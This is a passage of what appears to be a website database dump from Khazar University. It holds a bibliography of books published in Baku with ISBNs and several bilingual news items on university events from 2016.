İbtidai Musiqi Nəzəriyyəsi. Bakı: ISBN: 9952810196</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zəngəzurlu, P. Lal Haraylar. Bakı: ISBN: 9952810189</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ziyadov, N.M. Yuqoslaviya üzrə Beynəlxalq Cin. Tirbunalı. ISBN: 995250355</p><hr noshade=\"noshade\"><strong>А</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Абасов, A. Проблемы истории, теории и методологии познания. Баку: Ени Несил, 2001. ISBN: 9952240058</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, У. Решение фундаментальных проблем физики и механики. Bakı, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Время – жить. Баку: Дом сказки, 2003. ISBN: 9952210124</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Мгновения истины. Баку: Дом сказки, 2003. ISBN: 9952210078</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Это – мы. Баку: Дом сказки, 2003. ISBN: 9952210086</p><hr noshade=\"noshade\"><strong>В</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Варианты решения Карабахского конфликта: идеи и реальность. Баку: Ени- Несил, 2002. ISBN: 9952240082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Василюк, И. Книга кодов. Баку: Издательский дом «Айна», 2001. ISBN: 9952800002</p><hr noshade=\"noshade\"><strong>Г</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Гаджиев, В. Флора и растительность Кызылагачского заповедника и их разнообразие. Баку:&nbsp;Эль-Альянс, 2003. ISBN: 9952290276</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гасанзаде, Н. Под чужими облаками: стихи. Баку: Униветситет Хазар, 2004. ISBN: 9952200196</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гасанов, Х. Некоторые вопросы усовершенствованиия технологических процессов с помощью&nbsp;тепломассообменных свойств. Баку, 2003. ISBN: 9952802900</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гендер в азербайджанской периодике: аннотированный библиографический указатель. Баку: AREAT, 2003. ISBN: 9952802110</p><hr noshade=\"noshade\"><strong>Е</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Еврейская музыка идиш. Баку: Ени- Несил, 2002. ISBN: 9952240104</p><hr noshade=\"noshade\"><strong>И</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ирзабекова, Е. Антология еврейской музыки. Баку: Ени Несил, 2001. ISBN: 9952402007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ирзабекова, Е. Практический курс гармонии для вокалистов. Баку: Ени Несил, 2001. ISBN: 995224004Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1482/1/xezerin%20soraginda%20ruscason.pdf\"><strong>Исаханлы, Г. В поисках Хазара.</strong></a>&nbsp;Баку: Униветситет Хазар, 2006. ISBN: 9789952200348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1486/1/kontrast_russon.pdf\"><strong>Исаханлы, Г. Контрасты.</strong></a>&nbsp;Баку: Униветситет Хазар, 2006. ISBN: 9785946611411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Исмаилов, Р. Институт гражданства Азербайджанской республики. Баку, 2004. ISBN: 9952804105</p><hr noshade=\"noshade\"><strong>К</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касимов, И. Физика эфирной материи. Баку : Марс-Принт, ISBN: 9952800622</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касумзаде, А. Стратификация мезозойского комплекса Среднекуринской впадины и&nbsp;Вандамской зоны Большого Кавказа. Баку: Эль-Альянс, 2004. ISBN: 9952290063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касумова, Е. Актуальные информационные ресурсы гендера. Баку: AREAT, 2003.&nbsp;ISBN: 9952802102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Коломазова, М. Прости. Баку: ISBN: 9952807007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Кулиев, Г. Архетипичные Азери: лики ментальности. Баку: Ени Несил, 2002.&nbsp;ISBN: 9952240171</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Кязимова, Н. Дом скорби. Баку: Эль-Альянс,, 2003. ISBN: 9952290128</p><hr noshade=\"noshade\"><strong>М</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедов, Б. Философия одной души. Баку: Издательство «Авропа», 2003. ISBN: 9952803206</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедова, Ф. Кавказская Албания и албаны. Баку: Центр Исследований Кавказской Албании, 2005. ISBN: 9952807309</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мирзоев, Ф. Актуальные проблемы изменения государственных границ в международном&nbsp;праве. Баку, 2004. ISBN: 9952804504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мурадалиева, Э. Кровь земная - нефть Азербайджана и история. Баку: Мутарджим ТМ, 2006. ISBN: 9952280033</p><hr noshade=\"noshade\"><strong>Н</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Наджафов, И. Убийство полиграфиста. ISBN: 9952210094</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нариаи, О. Современная японская экономика. Издательство журнала «Эксперт», 2003. ISBN: 9952803117</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нухаев, Х. Цивилизация и варварство: последний раунд борьбы. Баку: Мехк Кхел, 2002.&nbsp;ISBN: 9952800118</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нухаев, Х. Чеченцы скорее изменят мир, чем изменят свободе. Баку: Мехк Кхел, 2002.&nbsp;ISBN: 995280010Х</p><hr noshade=\"noshade\"><strong>П</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Пашаев, Г. Жанровый состав иракско-тюркманского фольклора. Баку: Издательство «Баку», 2003. ISBN: 9952801424</p><hr noshade=\"noshade\"><strong>С</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Сафаров, Н. Философско-Этический взгляд на мир. Баку: Муаллим, 2006. ISBN: 9952435045</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Современные проблемы социально-экономического развития и информационных технологий.&nbsp;Баку: Научно–исследователский центр по труду и социальным проблемам, 2004. ISBN:&nbsp; 9952801114</p><hr noshade=\"noshade\"><strong>Т</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Таирова Ф. Дмитрий Шестакович и Азербайджанская музыкальная культура. ISBN: 9952432348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тоф, А. Белый квадрат IV. Баку: Чашыоглу, 2004. ISBN: 9952270127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тоф, Ф. Цветок небес (верлибры,удетероны,притчи). Баку: Чашыоглу, 2005.ISBN: 9952270313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тофа. Луна любви (хайку). Баку: Чашыоглу, 2005.ISBN: 9952270321</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Избранники небес. Баку: Издательство «Yurd», 2002. ISBN: 9952407010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Семь Посланников. Баку: Издательство «Yurd», 2004. ISBN: 9952803605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Тайны подводного Каспия. Баку: Издательство «Yurd», 2004. ISBN: 9952803613</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Убийца Чупакабра. Баку: Издательство «Yurd», 2002. ISBN: 9952407029</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Павелители Небес. Баку: Издательство «Yurd», 2002. ISBN: 995280363X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Энергетика: научно-технический журнал № 1. Баку: 2004. ISBN: 9952805500</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Юнусов, А. Ислам в Азербайджане. Баку, 2004. ISBN: 9952805209</p><div><br></div>'),(2275,1386,'en','Instructor of History and Archeology Department at International Symposium','On October 6-7, 2016, Araz Aslanli, instructor of the Department of History and Archeology at Khazar University, participated in the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 6-7, 2016, Araz Aslanli,\r\ninstructor of the Department of History and Archeology at Khazar University,\r\nparticipated in the “Turkish Republics in the 25th Year of Independence”\r\nInternational Symposium in Ankara. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The organizers and supporters of the\r\nevent included Ahmet Yesevi University, Turkic council, International Turkic\r\nAcademy, TÜRKPA, TÜRKSOY, TİKA, Turkish Historical Society, and The Ankara\r\nCenter for Political and Economic Research. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the opening ceremony of the\r\nsymposium, speeches were made by Ibrahim Kalin, Deputy Chairman of the Turkish\r\nPresidential Administration and Press Secretary of the President; Ambassadors\r\nto Turkey of Azerbaijan, Kazakhstan, Kyrgyzstan, Uzbekistan and Turkmenistan;\r\nYalcin Topcu, Senior Advisor to the President of Turkey; Gunay Efendiyeva,\r\nPresident of the Turkish Cultural and Heritage Foundation; and others. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Araz Aslanli, instructor of the\r\nDepartment of History and Archeology, gave a lecture entitled “Causes and\r\nEffects of the Lack of Resolution of the Karabakh Conflict” in which he\r\nexplained reasons why the problem remains unresolved and detailed the negative\r\nconsequences and risks of the conflict for the region and the world.&nbsp;</p>'),(2260,1380,'en','Meeting of Academic Council','On October 5, a meeting of the Khazar University Academic Council was held with the chairmanship of Dr. Hasan Niknafs, President of the University...','<p>On\r\nOctober 5, a meeting of the Khazar University Academic Council was held with\r\nthe chairmanship of Dr. Hasan Niknafs, President of the University. The\r\nfollowing presentations were heard and according decisions were made: Professor\r\nMahammad Nuriyev, Vice President of Khazar University for Academic Affairs, on\r\nthe membership of the Academic Council and the organization of classes in the\r\nnew academic year; Deans (Dr. Ingilab Ahmadov, Dean of the School of Economics\r\nand Management; Dr. Elza Semedli, Dean of the School of Education; Associate\r\nProfessor Jabir Khalilov, Dean of the School of Humanities and Social Sciences;\r\nand Vafa Aslanova, Assistant Dean of the School of Engineering and Applied\r\nSciences) on graduation; and Dr. Eldar Shahgaldiyev, Head of the Division for Graduate\r\nStudents and Research, on applying to the Higher Attestation Commission of the\r\nPresident of the Azerbaijan Republic regarding obtaining docent status for\r\nElnura Azizova, Head of the Department of Languages and Civilizations. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\nfollowing staff and faculty members were also given monetary awards and\r\ncertificates for their effective and responsible work in the 2015-2016 academic\r\nyear: Firangiz Nasirova, Konul Mehyeddinova, Jeyhun Mammadov, Ali Huseynli,\r\nLamiya Namazova, Lyudmila Sotova and Turan Jafarova. </p>\r\n<p>Other\r\ncurrent issues were also discussed during the meeting.&nbsp;</p>'),(2261,1380,'az','Elmi Şuranın iclası','Oktyabrın  5-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet elmi şurasının növbəti iclası keçirildi...','<p>Oktyabrın &nbsp;5-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə\r\nuniversitet elmi şurasının növbəti iclası keçirildi. İclasın gündəliyinə əsasən\r\nElmi Şuranın tərkibi və\r\nyeni dərs ilində tədrisin təşkili haqqında prorektor Məhəmməd Nuriyevin, məzunlar haqqında fakültə dekanları İnqilab Əhmədov(İqtisadiyyat\r\nvə menecment), Cabir Xəlilov(Humanitar\r\nvə sosial elmlər), Elza Səmədova(Təhsil)və dekan\r\nmüavini Vəfa Aslanovanın(Mühəndislik və tətbiqi\r\nelmlər), Dillər və mədəniyyətlər departamentinin müdiri, ilahiyyat elmləri üzrə\r\nfəlsəfə doktoru Elnurə Əzizovaya dosent elmi adının verilməsi ilə bağlı Azərbaycan\r\nRespublikasının Prezidenti yanında Ali Attestasiya Komissiyası qarşısında vəsatət\r\nqaldırılması haqqında Magistratura, Doktorantura və Elmi İşlər bölməsinin\r\nmüdiri Eldar Şahgəldiyevin məlumatları\r\ndinlənildi və müvafiq qərarlar qəbul edildi.</p>\r\n<p>Elmi Şuranın iclasında 2015-2016-cı tədris ilinin nəticələrinə\r\nəsasən səmərəli və məsuliyyətli fəaliyyətlərinə görə universitetin bir qrup müəllim\r\nvə inzibati işçisi – Firəngiz Nəsirova, Könül Məhyəddinova,&nbsp; Ceyhun Məmmədov,\r\nƏli Hüseynli, Lamiyə Namazova, Lyudmila Sotova və Turan Cəfərova təşəkkürnamə və\r\npul mükafatı ilə təltif olundular. </p>\r\n<p>İclasda cari məsələlər də müzakirə olundu.</p>'),(2262,1381,'az','DAAD Xəzər Universitetində təqdimat keçirdi','2016-cı iloktyabrın4-də Xəzər  Universitetinin“Neftçilər” kampusundaDAAD (Alman AkademikMübadilə Servisi)  proqramları ilə bağlı təqdimat keçirildi...','<p>2016-cı\r\niloktyabrın4-də Xəzər&nbsp;Universitetinin“Neftçilər”\r\nkampusunda&nbsp;DAAD (AlmanAkademikMübadilə\r\nServisi) &nbsp;proqramları ilə\r\nbağlı təqdimat&nbsp;keçirildi. </p>\r\n<p>Təqdimatı DAAD Bakı informasiya mərkəzinin nümayəndəsi Rəna Həsənova\r\napardı. R.Həsənova DAAD haqqında ümumi məlumat verdi və Almaniyada bakalavr,\r\nmagistr, doktorantura proqramları üzrə təhsil imkanları, eləcə də, alman dili yay\r\nkursları üçün mövcud təqaüdlərdən danışdı. Təqdimat auditoriyanın suallarının\r\ncavablandırılması ilə başa çatdı.</p>\r\n<p>Təqdimtadan sonra Rəna Həsənova Xəzər Universitetin Beynəlxalq əlaqələr\r\nşöbəsinin direktoru Turan Cəfərova ilə görüşdü. Almaniya universitetləri ilə əməkdaşlıq,\r\nuniversitetin inzibati və akademik işçiləri üçün mümkün maliyyələşdirmə və təqaüd\r\nimkanları və digər mövzular müzakirə olundu. </p>\r\n<p>DAAD dünyada tələbə və tədqiqatçıların maliyyələşdirilməsi ilə məşğul\r\nolan ən böyük təşkilatlardan biridir. DAAD-ın Azərbaycanda ən böyük hədəflərindən\r\nbiri beynəxalq tələbə və tədqiqatçı mübadiləsini artırmaq və informasiya\r\nprosesini gücləndirməkdir. &nbsp;</p>'),(2263,1381,'en','DAAD Presentation on Academic Opportunities in Germany','On October 4, 2016, a presentation about DAAD (German Academic Exchange Service) programs was held at the Neftchilar campus of Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On October 4, 2016, a\r\npresentation about DAAD (German Academic Exchange Service) programs was held at\r\nthe Neftchilar campus of Khazar University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The presentation was conducted\r\nby Rena Hasanova, representative of the DAAD Information Centre Baku. Ms. Hasanova\r\nspoke about DAAD, studying in Germany, and scholarships available for bachelor,\r\nmaster and doctorate students as well as about summer German language courses.\r\nThe presentation ended with a question and answer session. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Following the presentation, Ms.\r\nHasanova met with Ms. Turan Jafarova, Director of the International Affairs\r\nOffice. Topics discussed in the meeting included cooperation with German\r\nuniversities, opportunities available for academic and administrative staff,\r\nfunding and scholarship opportunities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">DAAD is one of the largest\r\nfunding organizations in the world supporting international exchange of\r\nstudents and scholars. The main goal of DAAD in Azerbaijan is to promote\r\ninternational exchange, provide information, and award scholarships to students\r\nand scholars.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>'),(2581,1552,'en','Practical Engineering and Leadership Program Event','On November 8, 2016, Khazar University’s affiliate Dunya School held an event as part of the Practical Engineering and Leadership Program. Participants included pupils, teachers and...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 8, 2016, Khazar University’s affiliate Dunya School held an event as\r\npart of the Practical Engineering and Leadership Program. Participants included\r\npupils, teachers and parents. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\n“Help” training program includes academic and practical sections in\r\nengineering, leadership and robotics. It covers mentor-trainee relationships,\r\nhow to continually look for solutions to problems, and discovery. It is\r\nintended for pupils aged 5-18. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">This\r\nprogram is used in educational institutions of America, Japan, and Azerbaijan\r\nincluding Khazar University and Baku Higher Oil School.&nbsp;</p>'),(2453,1484,'en','Khazar Instructor Participates in “Discussion Hour” in Literature Newspaper','On October 20, 2016, Associate Professor Dilber Zeynalova, instructor of Khazar University’s Department of Azerbaijani Language and Literature, participated in Literature...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On October 20, 2016,\r\nAssociate Professor Dilber Zeynalova, instructor of Khazar University’s\r\nDepartment of Azerbaijani Language and Literature, participated in Literature\r\nNewspaper’s “Discussion Hour.” This roundtable discussion covered theoretical\r\nand educational issues of modern Azerbaijani literary criticism, concepts in\r\nliterary criticism defining the main areas of development in literary/aesthetic\r\nthought in Azerbaijan, and the mechanism of Russian and world literatures’\r\ninfluence on Azerbaijani literary criticism. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The full text of the\r\ndiscussion is available at the following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://kulis.lent.az/news/16305\">http://kulis.lent.az/news/16305</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.kulis.az/news/16343\">http://www.kulis.az/news/16343</a>.</p>'),(2264,1385,'az','Karyera Mərkəzi “CV-nin yazılması” təlimi keçirdi','2016-cı il oktyabrın 7-də Xəzər Universiteti Karyera Mərkəzi  Xəzər Universitetinin tələbə və məzunları üçün “CV-nin yazılması” təlimi keçirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 7-də Xəzər Universiteti Karyera Mərkəzi&nbsp; Xəzər\r\nUniversitetinin tələbə və məzunları üçün “CV-nin yazılması” təlimi keçirdi. Təlimdə\r\nmüxtəlif fakültələrin tələbə və məzunları iştirak edirdilər. Təlimi Xəzər\r\nUniversiteti Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova təşkil etmişdi.\r\nTəlimdə iştirakçılar CV-nin düzgün yazılma qaydası ilə tanış oldular. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bir saat yarım davam edən təlimdə iştirakçılar öz CV-lərini yazdılar\r\nvə onları maraqlandıran suallara cavab tapdılar.</p>'),(2265,1385,'en','Career Center Holds CV Writing Training','On October 7, 2016, the Khazar University Career Center held a training session on CV writing for students and alumni...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 7, 2016, the Khazar\r\nUniversity Career Center held a training session on CV writing for students and\r\nalumni. Students from various schools in the university and alumni participated\r\nin the training, which was organized by Ulviyya Huseynova, Coordinator of the\r\nKhazar University Career Center. Participants in the training learned how to\r\ncorrectly write CVs. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">During the training, which lasted an\r\nhour and a half, participants practiced writing their own CVs, and the trainers\r\nanswered their questions.&nbsp;</p>'),(2266,1386,'az','Tarix və arxeologiya departamentinin əməkdaşı beynəlxalq simpoziumda iştirak etdi','2016-cı il oktyabrın 6-7-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Ankara şəhərində keçirilən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 6-7-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentinin müəllimi Araz Aslanlı Ankara şəhərində keçirilən “Müstəqilliyinin\r\n25-ci ilində Türk respublikaları” adlı beynəlxalq simpoziumda iştirak etmişdir.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirin təşkilatçıları və dəstəkçiləri arasında Ahmet Yesevi\r\nUniversiteti, Türk Keneşi, Beynəlxalq Türk Akademisi, TÜRKPA, TÜRKSOY, TİKA,\r\nTürk Tarix Qurumu, Ankara Siyasi və İqtisadi Araşdırmalar Mərkəzi də yer alırdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirin açılış panelində Türkiyə Prezident Aparatı sədrinin müavini\r\nvə Prezidentin Mətbuat katibi İbrahim Kalın, Azərbaycan, Qazaxıstan,\r\nQırğızıstan, Özbəkistan və Türkmənistan respublikalarının Türkiyədəki səfirləri,\r\nTürkiyə Prezidentinin Baş müşaviri Yalçın Topçu, Türk Mədəniyyəti və İrsi\r\nFondunun prezidenti Günay Əfəndiyeva və digərləri çıxış etmişlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı, tədbirdə\r\n“Qarabağ probleminin həll olunmamasının səbəbləri və nəticələri” adlı məruzə ilə\r\nçıxış etmişdir. Məruzədə Qarabağ probleminin yaranmasının və həll olunmadan\r\nqalmasının səbəbləri izah edilmiş, problemin Azərbaycan, region və dünya üçün\r\nyaratdığı mənfi nəticələr və risklər barədə məlumat verilmişdir.</p>'),(2272,1389,'en','Interviews ','Interviews ',''),(2273,1388,'en','Articles','Articles',''),(2274,1390,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(2276,1391,'az','2015','2015',''),(2277,1391,'en','2015','2015',''),(2278,1392,'az','Məqalələr','Məqalələr','<div><br></div><p><a href=\"http://www.khazar.org/files/social/1/AMEA%20il%C9%99%20X%C9%99z%C9%99r%20Universiteti%20aras%C4%B1nda%20anla%C5%9Fma%20memorandumu%20imzaland%C4%B1.%20Professor%20Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20giri%C5%9F%20s%C3%B6z%C3%BC.%20Professor%20Hamlet%20--%20%E2%80%9CX%C9%99z%C9%99r%20X%C9%99b%C9%99r%E2%80%9D%2C%20may-2015.docx\">AMEA ilə Xəzər Universiteti arasında anlaşma memorandumu imzalandı. Professor Hamlet İsaxanlının giriş sözü.&nbsp;“Xəzər Xəbər”, may-2015</a></p><p><a href=\"http://www.khazar.org/files/social/1/Book%20Review%2C%20Liam%20Fox.%20Rising%20Tides%20facing%20the%20Challenges%20of%20a%20New%20Era.%20Heron%20Books%2C%202013.%20Khazar%20Journal%20of%20Humanities%20and%20Social%20Sciences%2C%20Volume%2018%2C%20Number%203%2C%202015.pdf\">Book Review, Liam Fox. Rising Tides facing the Challenges of a New Era. Heron Books, 2013. Khazar Journal of Humanities and Social Sciences, Volume 18, Number 3, 2015&nbsp;</a></p><p><a 